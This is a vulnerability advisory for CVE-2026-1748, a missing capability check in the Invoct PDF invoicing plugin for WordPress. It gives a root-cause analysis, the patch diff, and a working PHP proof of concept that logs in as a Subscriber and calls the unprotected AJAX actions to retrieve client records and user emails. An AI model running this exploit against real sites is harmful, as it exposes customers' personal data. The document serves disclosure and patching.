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Published : March 18, 2026

CVE-2026-1748: Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 – Missing Authorization to Authenticated (Subscriber+) Information Exposure (kirilkirkov-pdf-invoice-manager)

CVE ID CVE-2026-1748
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.6
Patched Version 1.7
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1748:
The vulnerability is a missing authorization flaw in the Invoct – PDF Invoices & Billing for WooCommerce WordPress plugin. It affects versions up to and including 1.6, allowing authenticated users with Subscriber-level permissions or higher to access sensitive administrative data. The CVSS score of 4.3 reflects a medium-severity information exposure risk.

The root cause is the absence of a capability check in four AJAX handler functions within the plugin’s main file. The vulnerable functions `kirilkirkov_wp_inv_select_clients`, `kirilkirkov_wp_inv_select_client_by_id`, `kirilkirkov_wp_inv_select_items`, and `kirilkirkov_wp_inv_select_customers` in `/kirilkirkov-pdf-invoice-manager/KirilKirkovWpInvoices.php` only verified the request originated from the admin area via `is_admin()`. This check does not validate user permissions. Lines 564, 584, 604, and 625 in the diff show each function contained the insufficient conditional `if (!is_admin())`.

Exploitation occurs through WordPress’s AJAX interface. An authenticated attacker with any role, including Subscriber, sends a POST request to `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to one of the vulnerable plugin hooks: `kirilkirkov_wp_inv_select_clients`, `kirilkirkov_wp_inv_select_client_by_id`, `kirilkirkov_wp_inv_select_items`, or `kirilkirkov_wp_inv_select_customers`. No other parameters or special payloads are required. The server executes the corresponding function and returns the sensitive data.

The patch in version 1.7 adds a proper capability check to each vulnerable function. The diff shows the conditional statement was changed from `if (!is_admin())` to `if (!is_admin() || !current_user_can(‘manage_options’))`. The `current_user_can(‘manage_options’)` function restricts access to users with administrator privileges. Before the patch, any authenticated user could trigger these functions. After the patch, only users with the `manage_options` capability can access them, effectively blocking lower-privileged users.

Successful exploitation leads to unauthorized information disclosure. Attackers can retrieve three types of sensitive data: the complete list of invoice clients, detailed invoice items, and a list of all WordPress users along with their email addresses. This data exposure violates confidentiality and could facilitate further attacks, such as targeted phishing campaigns or business intelligence gathering. The impact is limited to data access and does not include privilege escalation or remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/kirilkirkov-pdf-invoice-manager/KirilKirkovWpInvoices.php
+++ b/kirilkirkov-pdf-invoice-manager/KirilKirkovWpInvoices.php
@@ -6,7 +6,7 @@
 /*
 Plugin Name: Invoct – PDF Invoices & Billing for WooCommerce
 Description: Free and powerful invoicing plugin for WordPress and WooCommerce. Create and manage PDF invoices, set up periodic invoices, handle billing, and track warehouse inventory — all from a simple, unified dashboard. Includes multiple professional invoice templates.
-Version: 1.6
+Version: 1.7
 Author: Kiril Kirkov
 Author URI: https://github.com/kirilkirkov/
 License: GPLv2 or later
@@ -564,7 +564,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_clients()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -584,7 +584,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_client_by_id()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -604,7 +604,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_items()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -625,7 +625,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_customers()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

Proof of Concept (PHP)

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PHP PoC
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// CVE-2026-1748 - Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Information Exposure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// WordPress credentials for a low-privileged user (e.g., Subscriber)
$username = 'subscriber_user';
$password = 'subscriber_password';

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate to WordPress to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Adjust for HTTPS

$response = curl_exec($ch);

// Step 2: Exploit the missing authorization by calling a vulnerable AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Choose one of the four vulnerable actions
$vulnerable_actions = [
    'kirilkirkov_wp_inv_select_clients',      // Retrieves invoice clients
    'kirilkirkov_wp_inv_select_client_by_id', // Retrieves specific client
    'kirilkirkov_wp_inv_select_items',        // Retrieves invoice items
    'kirilkirkov_wp_inv_select_customers'     // Retrieves WordPress users/emails
];

$exploit_action = $vulnerable_actions[0]; // Using first action as example

$exploit_fields = [
    'action' => $exploit_action
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));

$exploit_response = curl_exec($ch);

// Output the sensitive data returned by the plugin
echo "Target: $target_urln";
echo "Action: $exploit_actionn";
echo "Response:n";
echo $exploit_response;

curl_close($ch);

?>

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